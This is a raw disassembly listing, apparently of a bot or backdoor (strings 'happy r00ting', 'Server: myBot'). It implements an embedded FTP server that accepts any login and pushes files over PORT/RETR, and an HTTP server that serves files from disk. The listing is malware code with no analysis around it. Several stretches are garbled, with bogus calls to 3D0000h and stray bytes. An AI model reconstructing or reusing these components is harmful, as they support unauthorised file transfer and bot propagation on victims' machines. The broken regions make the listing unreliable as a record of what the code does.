call ds:dword_4211E8 ; recv
test eax, eax
jg short loc_405639
mov edx, [ebp-228h]
xor ecx, ecx
cmp edx, esi
jbe short loc_40562D
lea eax, [ebp-224h]
loc_4055F9: ; CODE XREF: seg000:00405603j
cmp [eax], edi
jz short loc_405607
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_4055F9
jmp short loc_40562D
; ---------------------------------------------------------------------------
loc_405607: ; CODE XREF: seg000:004055FBj
dec edx
cmp ecx, edx
jnb short loc_405627
lea eax, [ebp+ecx*4-224h]
loc_405613: ; CODE XREF: seg000:00405625j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp-228h]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_405613
loc_405627: ; CODE XREF: seg000:0040560Aj
dec dword ptr [ebp-228h]
loc_40562D: ; CODE XREF: seg000:004055F1j
; seg000:00405605j
push edi
call ds:dword_4211F0 ; closesocket
jmp loc_4059D4
; ---------------------------------------------------------------------------
loc_405639: ; CODE XREF: seg000:004055E5j
lea eax, [ebp-334h]
push eax
lea eax, [ebp-0ACh]
push eax
lea eax, [ebp-29Ch]
push offset aSS_1 ; "%s %s"
push eax
call sub_416A80
lea eax, [ebp-0ACh]
push offset aUser_0 ; "USER"
push eax
call sub_4158F0
add esp, 18h
test eax, eax
jnz short loc_40567D
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_4059BF
; ---------------------------------------------------------------------------
loc_40567D: ; CODE XREF: seg000:0040566Ej
lea eax, [ebp-0ACh]
push offset aPass ; "PASS"
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_4056A1
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_4059BF
; ---------------------------------------------------------------------------
loc_4056A1: ; CODE XREF: seg000:00405692j
lea eax, [ebp-0ACh]
push offset aSyst ; "SYST"
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_4056C5
push esi
push 0Dh
push offset a215Fuckftpd ; "215 fuckFtpd\n"
jmp loc_4059BF
; ---------------------------------------------------------------------------
loc_4056C5: ; CODE XREF: seg000:004056B6j
lea eax, [ebp-0ACh]
push offset aRest ; "REST"
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_4056E9
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_4059BF
; ---------------------------------------------------------------------------
loc_4056E9: ; CODE XREF: seg000:004056DAj
lea eax, [ebp-0ACh]
push offset off_4268E0
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40570D
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_4059BF
; ---------------------------------------------------------------------------
loc_40570D: ; CODE XREF: seg000:004056FEj
lea eax, [ebp-0ACh]
push offset aType ; "TYPE"
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_405748
lea eax, [ebp-334h]
push offset aA ; "A"
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_405748
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_4059BF
; ---------------------------------------------------------------------------
loc_405748: ; CODE XREF: seg000:00405722j
; seg000:00405739j
lea eax, [ebp-0ACh]
push offset aType ; "TYPE"
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_405783
lea eax, [ebp-334h]
push offset aI ; "I"
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_405783
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_4059BF
; ---------------------------------------------------------------------------
loc_405783: ; CODE XREF: seg000:0040575Dj
; seg000:00405774j
lea eax, [ebp-0ACh]
push offset aPasv ; "PASV"
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_4057D1
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp-124h]
rep movsd
push eax
lea eax, [ebp-124h]
push eax
movsw
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-124h]
loc_4057C1: ; CODE XREF: seg000:00405810j
push eax
push dword ptr [ebp+8]
call ebx ; send
xor esi, esi
loc_4057C9: ; CODE XREF: seg000:004058E0j
mov edi, [ebp+8]
jmp loc_4059C2
; ---------------------------------------------------------------------------
loc_4057D1: ; CODE XREF: seg000:00405798j
lea eax, [ebp-0ACh]
push offset aList ; "LIST"
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_405812
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp-0C4h]
rep movsd
movsw
push eax
lea eax, [ebp-0C4h]
push eax
movsb
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-0C4h]
jmp short loc_4057C1
; ---------------------------------------------------------------------------
loc_405812: ; CODE XREF: seg000:004057E6j
lea eax, [ebp-0ACh]
push offset aPort ; "PORT"
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_4058E5
lea eax, [ebp-2D0h]
push eax
lea eax, [ebp-0F8h]
push eax
lea eax, [ebp-20h]
push eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-29Ch]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_416A80
lea eax, [ebp-0F8h]
push eax
call sub_415A3F
mov edi, eax
lea eax, [ebp-2D0h]
push eax
call sub_415A3F
mov [ebp-8], eax
push 32h
lea eax, [ebp-0F8h]
push esi
push eax
call sub_415550
push dword ptr [ebp-8]
lea eax, [ebp-0F8h]
push edi
push offset aXX ; "%x%x\n"
push eax
call sub_4154CD
add esp, 44h
lea eax, [ebp-0F8h]
push 10h
push esi
push eax
call sub_416A69
mov [ebp-8], eax
lea eax, [ebp-20h]
push eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-48h]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_4154CD
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
push dword ptr [ebp+8]
call ebx ; send
jmp loc_4057C9
; ---------------------------------------------------------------------------
loc_4058E5: ; CODE XREF: seg000:00405827j
lea eax, [ebp-0ACh]
push offset aRetr ; "RETR"
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_4059A0
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push dword ptr [ebp-8]
lea eax, [ebp-48h]
push eax
call sub_4059F0
pop ecx
cmp eax, 1
pop ecx
jnz short loc_405996
call loc_405A6D
cmp eax, 1
jnz loc_4059C2
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp-6D8h]
push eax
lea eax, [ebp-48h]
push ds:dword_438FBC
push eax
lea eax, [ebp-8DCh]
push offset dword_426724
push eax
call sub_4154CD
add esp, 14h
cmp [ebp-440h], esi
jnz short loc_405987
push esi
lea eax, [ebp-8DCh]
push dword ptr [ebp-444h]
push eax
lea eax, [ebp-4C4h]
push eax
push dword ptr [ebp-6DCh]
call sub_412D32
add esp, 14h
loc_405987: ; CODE XREF: seg000:00405962j
lea eax, [ebp-8DCh]
push eax
call sub_40B151
pop ecx
jmp short loc_4059C2
; ---------------------------------------------------------------------------
loc_405996: ; CODE XREF: seg000:0040591Cj
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_4059BF
; ---------------------------------------------------------------------------
loc_4059A0: ; CODE XREF: seg000:004058FAj
lea eax, [ebp-0ACh]
push offset aQuit ; "QUIT"
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_4059C2
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_4059BF: ; CODE XREF: seg000:00405678j
; seg000:0040569Cj ...
push edi
call ebx ; send
loc_4059C2: ; CODE XREF: seg000:004057CCj
; seg000:00405926j ...
push 64h
lea eax, [ebp-29Ch]
push esi
push eax
call sub_415550
add esp, 0Ch
loc_4059D4: ; CODE XREF: seg000:0040554Dj
; seg000:00405576j ...
inc edi
cmp edi, [ebp-4]
mov [ebp+8], edi
jle loc_40551B
jmp loc_4054E0
; ---------------------------------------------------------------------------
loc_4059E6: ; CODE XREF: seg000:0040550Bj
push 1
pop eax
loc_4059E9: ; CODE XREF: seg000:004054BDj
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4059F0 proc near ; CODE XREF: seg000:00405912p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call ds:dword_4211B0 ; WSAStartup
push 0
push 1
push 2
call ds:dword_4211E0 ; socket
push [ebp+arg_0]
mov ds:dword_438FB8, eax
mov [ebp+var_10], 2
call ds:dword_4211D8 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call ds:dword_4211DC ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push ds:dword_438FB8
call ds:dword_4211E4 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_405A68
push ds:dword_438FB8
call ds:dword_4211F0 ; closesocket
call ds:dword_4211AC ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_405A68: ; CODE XREF: sub_4059F0+60j
push 1
pop eax
leave
retn
sub_4059F0 endp
; ---------------------------------------------------------------------------
loc_405A6D: ; CODE XREF: seg000:0040591Ep
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp-104h]
push 104h
push eax
push 0
call near ptr 3D0000h
mov ecx, 0FEFC858Dh
; ---------------------------------------------------------------------------
db 0FFh
; ---------------------------------------------------------------------------
jmp fword ptr [eax+78h]
; ---------------------------------------------------------------------------
imul eax, [edx+0], 12CE850h
add [eax], eax
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_405B04
test byte ptr [esi+0Ch], 10h
jnz short loc_405AE8
push edi
mov edi, 400h
loc_405AB0: ; CODE XREF: seg000:00405AE5j
push esi
push 1
lea eax, [ebp-504h]
push edi
push eax
call sub_416B90
add esp, 10h
lea eax, [ebp-504h]
push 0
push edi
push eax
push ds:dword_438FB8
call ds:dword_4211EC ; send
push 1
call ds:dword_421060 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_405AB0
pop edi
loc_405AE8: ; CODE XREF: seg000:00405AA8j
push esi
call sub_415B20
pop ecx
push ds:dword_438FB8
call ds:dword_4211F0 ; closesocket
call ds:dword_4211AC ; WSACleanup
push 1
pop eax
loc_405B04: ; CODE XREF: seg000:00405AA2j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405B07 proc near ; DATA XREF: seg000:0040758Do
; seg000:00411EA3o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_415D50
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_415550
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call ds:dword_43A378 ; ntohs
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call ds:dword_43A3F8 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_405EF2
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov ds:dword_43F514[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call ds:dword_43A3A4 ; bind
cmp eax, 0FFFFFFFFh
jz loc_405EF2
push 7FFFFFFFh
push edi
call ds:dword_43A3A0 ; listen
cmp eax, 0FFFFFFFFh
jz loc_405EF2
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call ds:dword_43A414 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_405EF2
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_405BDE: ; CODE XREF: sub_405B07+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call ds:dword_43A360 ; select
cmp eax, 0FFFFFFFFh
jz loc_405EED
xor esi, esi
mov [ebp+var_4], esi
loc_405C14: ; CODE XREF: sub_405B07+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call ds:dword_43A270 ; __WSAFDIsSet
test eax, eax
jz loc_405ED8
cmp esi, [ebp+var_C]
jnz short loc_405C96
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call ds:dword_43A40C ; accept
cmp eax, 0FFFFFFFFh
jz loc_405ED8
xor ecx, ecx
test ebx, ebx
jbe short loc_405C68
lea edx, [ebp+var_134]
loc_405C5C: ; CODE XREF: sub_405B07+15Fj
cmp [edx], eax
jz short loc_405C68
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_405C5C
loc_405C68: ; CODE XREF: sub_405B07+14Dj
; sub_405B07+157j
cmp ecx, ebx
jnz short loc_405C85
cmp ebx, 40h
jnb short loc_405C85
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_405C85: ; CODE XREF: sub_405B07+163j
; sub_405B07+168j
cmp eax, [ebp+var_8]
jbe loc_405ED8
mov [ebp+var_8], eax
jmp loc_405ED8
; ---------------------------------------------------------------------------
loc_405C96: ; CODE XREF: sub_405B07+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_415550
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_415550
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call ds:dword_43A390 ; recv
test eax, eax
jg short loc_405D29
push esi
call ds:dword_43A410 ; closesocket
xor ecx, ecx
test ebx, ebx
jbe loc_405ED8
lea eax, [ebp+var_134]
loc_405CE8: ; CODE XREF: sub_405B07+1EBj
cmp [eax], esi
jz short loc_405CF9
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_405CE8
jmp loc_405ED8
; ---------------------------------------------------------------------------
loc_405CF9: ; CODE XREF: sub_405B07+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_405D1D
lea eax, [ebp+ecx*4+var_134]
loc_405D07: ; CODE XREF: sub_405B07+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_405D07
loc_405D1D: ; CODE XREF: sub_405B07+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_405ED8
; ---------------------------------------------------------------------------
loc_405D29: ; CODE XREF: sub_405B07+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_415550
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_415CD0
add esp, 10h
test eax, eax
jbe loc_405ED8
loc_405D57: ; CODE XREF: sub_405B07+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_405DFC
mov esi, offset aGet ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_415AA0
pop ecx
test eax, eax
pop ecx
jz short loc_405DD0
lea eax, [ebp+var_18F0]
push eax
call sub_415CD0
cmp eax, 5
pop ecx
jbe short loc_405DD0
mov eax, offset asc_4269C8 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_415AA0
pop ecx
pop ecx
push eax
call sub_415AA0
pop ecx
pop ecx
push eax
call sub_416C78
push eax
lea eax, [ebp+var_23C]
push eax
call sub_415BE0
add esp, 10h
jmp short loc_405DE7
; ---------------------------------------------------------------------------
loc_405DD0: ; CODE XREF: sub_405B07+27Fj
; sub_405B07+291j
lea eax, [ebp+var_18F0]
push offset asc_4269C4 ; "\r\n"
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_405E1B
loc_405DE7: ; CODE XREF: sub_405B07+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_415550
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_405DFC: ; CODE XREF: sub_405B07+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_415CD0
cmp [ebp+arg_0], eax
pop ecx
jb loc_405D57
jmp loc_405ED8
; ---------------------------------------------------------------------------
loc_405E1B: ; CODE XREF: sub_405B07+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_405E65
lea eax, [ebp+var_134]
loc_405E27: ; CODE XREF: sub_405B07+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_405E38
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_405E27
jmp short loc_405E68
; ---------------------------------------------------------------------------
loc_405E38: ; CODE XREF: sub_405B07+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_405E5C
lea eax, [ebp+ecx*4+var_134]
loc_405E46: ; CODE XREF: sub_405B07+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_405E46
loc_405E5C: ; CODE XREF: sub_405B07+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_405E68
; ---------------------------------------------------------------------------
loc_405E65: ; CODE XREF: sub_405B07+318j
mov esi, [ebp+var_4]
loc_405E68: ; CODE XREF: sub_405B07+32Fj
; sub_405B07+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_405ED1
lea eax, [ebp+var_360]
push eax
call sub_415CD0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_415CD0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_405ED1
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call ds:dword_43A414 ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_4060E4
add esp, 14h
jmp short loc_405ED8
; ---------------------------------------------------------------------------
loc_405ED1: ; CODE XREF: sub_405B07+369j
; sub_405B07+38Fj
push esi
call ds:dword_43A410 ; closesocket
loc_405ED8: ; CODE XREF: sub_405B07+11Dj
; sub_405B07+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_405C14
jmp loc_405BDE
; ---------------------------------------------------------------------------
loc_405EED: ; CODE XREF: sub_405B07+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_405EF2: ; CODE XREF: sub_405B07+6Aj
; sub_405B07+92j ...
call ds:dword_43A30C ; WSAGetLastError
push eax
lea eax, [ebp+var_8F0]
push offset unk_42697C
push eax
call sub_4154CD
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_405F38
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_412D32
add esp, 14h
loc_405F38: ; CODE XREF: sub_405B07+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_40B151
pop ecx
push edi
call ds:dword_43A410 ; closesocket
push [ebp+var_254]
call sub_415295
pop ecx
push ebx
call near ptr 3D0000h
db 64h
pop edi
pop esi
pop ebx
sub_405B07 endp ; sp-analysis failed
loc_405F62: ; DATA XREF: sub_4060E4+246o
push ebp
mov ebp, esp
mov eax, 1654h
call sub_415D50
mov eax, [ebp+8]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp-44Ch]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp-3C8h]
push eax
lea eax, [ebp-550h]
push eax
call sub_4154CD
lea eax, [ebp-2C4h]
push eax
lea eax, [ebp-654h]
push eax
call sub_4154CD
xor edi, edi
add esp, 10h
cmp [ebp-0A4h], edi
jz short loc_405FC7
push offset aTextHtml ; "text/html"
jmp short loc_405FCC
; ---------------------------------------------------------------------------
loc_405FC7: ; CODE XREF: seg000:00405FBEj
push offset aApplicationOct ; "application/octet-stream"
loc_405FCC: ; CODE XREF: seg000:00405FC5j
lea eax, [ebp-9Ch]
push eax
call sub_4154CD
pop ecx
lea eax, [ebp-68h]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call near ptr 3D0000h
or ecx, [ebp+1E6AE045h]
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call near ptr 3D0000h
cmp cl, [ebp-427C1FBBh]
dec eax
; ---------------------------------------------------------------------------
db 3 dup(0FFh)
; ---------------------------------------------------------------------------
call dword ptr [eax-73h]
inc ebp
cwde
push eax
lea eax, [ebp-20h]
push eax
lea eax, [ebp-68h]
push eax
lea eax, [ebp-20h]
push eax
lea eax, [ebp-68h]
push eax
jnz short loc_406045
lea eax, [ebp-9Ch]
push eax
lea eax, [ebp-1654h]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_4154CD
add esp, 24h
jmp short loc_406066
; ---------------------------------------------------------------------------
loc_406045: ; CODE XREF: seg000:00406026j
push dword ptr [ebp-0B8h]
lea eax, [ebp-9Ch]
push eax
lea eax, [ebp-1654h]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_4154CD
add esp, 28h
loc_406066: ; CODE XREF: seg000:00406043j
lea eax, [ebp-1654h]
push edi
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp-1654h]
push eax
push dword ptr [ebp-44Ch]
call ds:dword_43A3C8 ; send
cmp [ebp-0A4h], edi
jnz short loc_4060A6
lea eax, [ebp-550h]
push eax
push dword ptr [ebp-44Ch]
call sub_406A16
pop ecx
pop ecx
jmp short loc_4060C3
; ---------------------------------------------------------------------------
loc_4060A6: ; CODE XREF: seg000:0040608Ej
lea eax, [ebp-654h]
push eax
push edi
push dword ptr [ebp-44Ch]
lea eax, [ebp-550h]
push eax
call loc_406394
add esp, 10h
loc_4060C3: ; CODE XREF: seg000:004060A4j
push dword ptr [ebp-44Ch]
call ds:dword_43A410 ; closesocket
push dword ptr [ebp-0B4h]
call sub_415295
pop ecx
push edi
call near ptr 3D0000h
in al, 5Fh
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4060E4 proc near ; CODE XREF: sub_405B07+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_415550
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_40611A
push eax
push offset aS_2 ; "\\%s"
jmp short loc_406123
; ---------------------------------------------------------------------------
loc_40611A: ; CODE XREF: sub_4060E4+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_406123: ; CODE XREF: sub_4060E4+34j
lea eax, [ebp+var_10C]
push eax
call sub_4154CD
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_415CD0
test eax, eax
pop ecx
jbe short loc_4061BE
mov [ebp+arg_8], 2
loc_40614E: ; CODE XREF: sub_4060E4+D8j
lea eax, [ebp+var_10C]
push eax
call sub_415CD0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_40618E
cmp [ebp+esi+var_10C], 25h
jnz short loc_40618E
cmp [ebp+esi+var_10B], 32h
jnz short loc_40618E
cmp [ebp+esi+var_10A], 30h
jnz short loc_40618E
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_4061A8
; ---------------------------------------------------------------------------
loc_40618E: ; CODE XREF: sub_4060E4+7Aj
; sub_4060E4+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_40619E
push 5Ch
pop eax
jmp short loc_4061A1
; ---------------------------------------------------------------------------
loc_40619E: ; CODE XREF: sub_4060E4+B3j
movsx eax, al
loc_4061A1: ; CODE XREF: sub_4060E4+B8j
mov [ebp+ebx+var_210], al
loc_4061A8: ; CODE XREF: sub_4060E4+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_415CD0
cmp esi, eax
pop ecx
jb short loc_40614E
loc_4061BE: ; CODE XREF: sub_4060E4+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset aSS_2 ; "%s%s"
push eax
call sub_4154CD
lea eax, [ebp+var_314]
push offset asc_426C7C ; "\n"
push eax
call sub_416C78
add esp, 18h
lea eax, [ebp+var_314]
push eax
call ds:dword_421094 ; GetFileAttributesA
push 1
cmp eax, 10h
pop esi
jz short loc_40620C
cmp eax, 0FFFFFFFFh
jnz short loc_40620F
push [ebp+arg_0]
jmp short loc_40628B
; ---------------------------------------------------------------------------
loc_40620C: ; CODE XREF: sub_4060E4+11Cj
mov [ebp+var_4], esi
loc_40620F: ; CODE XREF: sub_4060E4+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40621C
mov [ebp+var_4], esi
loc_40621C: ; CODE XREF: sub_4060E4+133j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_406296
cmp [ebp+arg_C], edi
jz short loc_40628A
lea eax, [ebp+var_314]
push offset asc_426C78 ; "*"
push eax
call sub_415BF0
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_4154CD
lea eax, [ebp+var_210]
push eax
call sub_406AD3
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_4154CD
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_4062E5
; ---------------------------------------------------------------------------
loc_40628A: ; CODE XREF: sub_4060E4+14Fj
push ebx
loc_40628B: ; CODE XREF: sub_4060E4+126j
call ds:dword_43A410 ; closesocket
jmp loc_40638D
; ---------------------------------------------------------------------------
loc_406296: ; CODE XREF: sub_4060E4+14Aj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call ds:dword_421078 ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4062E5
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_4154CD
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call near ptr 3D0000h
jmp short loc_40632F
; ---------------------------------------------------------------------------
mov [ebp+var_330], eax
call ds:dword_42106C ; CloseHandle
loc_4062E5: ; CODE XREF: sub_4060E4+1A4j
; sub_4060E4+1CFj
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_426C34
push eax
call sub_4154CD
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_414F79
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov ds:dword_43F50C[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset loc_405F62
loc_40632F: ; CODE XREF: sub_4060E4+1F3j
push edi
push edi
call ds:dword_42108C ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov ds:dword_43F51C[ecx], eax
jz short loc_40635F
